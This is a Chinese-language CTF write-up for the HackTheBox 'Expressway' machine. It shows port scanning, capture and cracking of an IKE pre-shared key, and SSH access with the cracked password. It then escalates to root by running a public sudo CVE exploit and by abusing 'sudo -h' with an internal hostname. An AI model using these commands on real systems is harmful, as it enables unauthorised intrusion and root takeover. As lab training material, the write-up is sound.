> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md).

# Expressway HackTheBox 解题报告

{% embed url="<https://app.hackthebox.com/machines/Expressway>" %}

{% hint style="warning" %}
**技能：**

* 关于枚举和利用 IKE 服务的知识
* Linux 系统枚举
* 利用 CVE-2025-32462
  {% endhint %}

#### **工作区设置：**

通过创建三个文件夹来设置工作区，用于存储重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="/files/8b2853641b65caf8c30c981674d91d575701e743" alt="" width="563"><figcaption></figcaption></figure>

#### **VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="/files/4d786d99a174bc6dbb39f88ed545aa517df5cd7e" alt="" width="563"><figcaption></figcaption></figure>

#### **使用 Nmap 发现开放端口：**

第一步是识别暴露的服务。我们对 TCP 和 UDP 端口进行快速扫描。

#### 扫描 TCP

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.129.238.52 -oG allPort
```

#### 扫描 UDP

```bash
nmap -sU --top-ports 100 --open -vvv -n 10.129.238.52 -oG allPortsUDP
```

<figure><img src="/files/9bb5a5d62ecb9694582a24f61e2cc408e27cbbcf" alt=""><figcaption></figcaption></figure>

#### 服务和版本扫描

在识别出端口后，我们进一步深入特定服务：

* TCP：22 端口（SSH）
* UDP：68、69 端口（TFTP）、500 端口（ISAKMP/VPN）、4500 端口（IPsec-NAT-T）

```bash
nmap -sCV -p22 10.129.238.52 -oN targeted
```

```bash
nmap -sUCV -p 68,69,500,4500 10.129.238.52 -oN targetedUDP
```

<figure><img src="/files/fbe9c989152efbae27cb2324e142528a4921f433" alt=""><figcaption></figcaption></figure>

### 入侵：利用 IKE（VPN）

UDP 500 端口表明这是一个密钥交换服务（IKE）。我们尝试使用激进模式捕获预共享密钥（PSK）。

#### ID 识别

我们使用 `ike-scan` 用于检查是否启用了激进模式：。

```bash
sudo ike-scan -A 10.129.238.52
```

* 结果：握手成功。检测到 ID： `ike@expressway.htb`.

#### 捕获并破解 PSK 哈希

<figure><img src="/files/4685ca0111777c2b29deca217a7b107c1499828d" alt=""><figcaption></figcaption></figure>

```bash
sudo ike-scan -A -id ike@expressway.htb --pskcrack=expressway.psk 10.129.238.52
```

我们提取哈希，以尝试使用 `rockyou.txt` 字典进行暴力破解。

```bash
hashcat expressway.psk /usr/share/wordlists/rockyou.txt
```

* 获取到的凭据： `ike`: `freakingrockstarontheroad`

<figure><img src="/files/eb00bc0a4e7e473e57334bb929da49dc1dc1063a" alt=""><figcaption></figcaption></figure>

#### 初始访问

使用找到的凭据通过 SSH 连接：

```bash
ssh ike@10.129.238.52
```

## 权限提升

已确认有两种途径可将权限提升至 root。

### 方法 1：CVE-2025-32463（Sudo 漏洞）

使用以下命令检查 sudo 版本 `sudo -V`，我们看到版本是 1.9.17，存在漏洞。

{% embed url="<https://github.com/MohamedKarrab/CVE-2025-32463>" %}

<figure><img src="/files/da317c95972955d1b77c6ad2339ecbd10b29e16b" alt=""><figcaption></figcaption></figure>

1. 克隆该利用代码：

```bash
git clone https://github.com/MohamedKarrab/CVE-2025-32463.git
cd CVE-2025-32463
```

执行编译和利用脚本：

```bash
./mkall-dynamic.sh
./get_root.sh
```

<figure><img src="/files/bdec9245de106a8c719cf650ecaffb48379b50dc" alt=""><figcaption></figcaption></figure>

### 方法 2：滥用 Proxy 和 Hostnames 组

通过审计用户所属的组，我们发现自己属于 proxy 组。我们正在查找相关文件：

<figure><img src="/files/c33841d3d52d7b48e1e58d97af1a53ecdca3808f" alt=""><figcaption></figcaption></figure>

通过检查 Squid 日志（`/var/log/squid/access.log.1`)

```bash
find / -group proxy 2>/dev/null
```

<figure><img src="/files/39dae3a5fb0a33ded2006e8718c3c92da0cfeed4" alt=""><figcaption></figcaption></figure>

我们发现了一个内部子域名： `offramp.expressway.htb`.

```bash
cat /var/log/squid/access.log.1 | grep httpp
```

<figure><img src="/files/13bbb16817a418bd741d2b497ae25e889b326a85" alt=""><figcaption></figcaption></figure>

检查该特定域的 sudo 策略后，我们发现我们拥有完全权限：

```bash
sudo -h offramp.expressway.htb -l
```

结果：在此主机上下文中，我们可以以 root 身份运行任意命令。

<figure><img src="/files/2b482f3ff2575fc3cd4655f227898a9851a4e31f" alt=""><figcaption></figcaption></figure>

**最终的 root 执行：**

```bash
sudo -h offramp.expressway.htb /bin/bash
```

<figure><img src="/files/7014b9bf09fac661dea4b3ab46e63ccc3a36ce8c" alt=""><figcaption></figcaption></figure>

### root.txt flag :)

<figure><img src="/files/b4af3506f4c9f4e05f0ac212e7ff2d049a477ede" alt="" width="524"><figcaption></figcaption></figure>

<figure><img src="/files/73122f3e1c169340fbd6a19473ebc2671d10f1d8" alt="" width="389"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-easy/expressway-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.